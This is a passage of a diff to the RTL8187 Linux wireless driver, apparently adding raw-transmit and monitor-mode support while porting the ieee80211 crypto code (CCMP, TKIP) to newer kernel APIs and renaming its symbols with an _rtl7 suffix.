"quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2587,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2606,22 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - +#endif + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2630,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2678,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2695,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2712,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2725,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2740,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h 2006-06-06 08:48:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h 2008-01-30 17:38:11.000000000 +0100 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,17 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + short fasttx; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +167,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +180,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +234,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,22 +248,23 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); +short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate); u8 read_nic_byte(struct net_device *dev, int x); u8 read_nic_byte_E(struct net_device *dev, int x); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c 2008-01-30 17:38:11.000000000 +0100 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2008-01-30 17:38:11.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h 2008-01-30 17:38:11.000000000 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c 2008-01-30 17:39:05.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 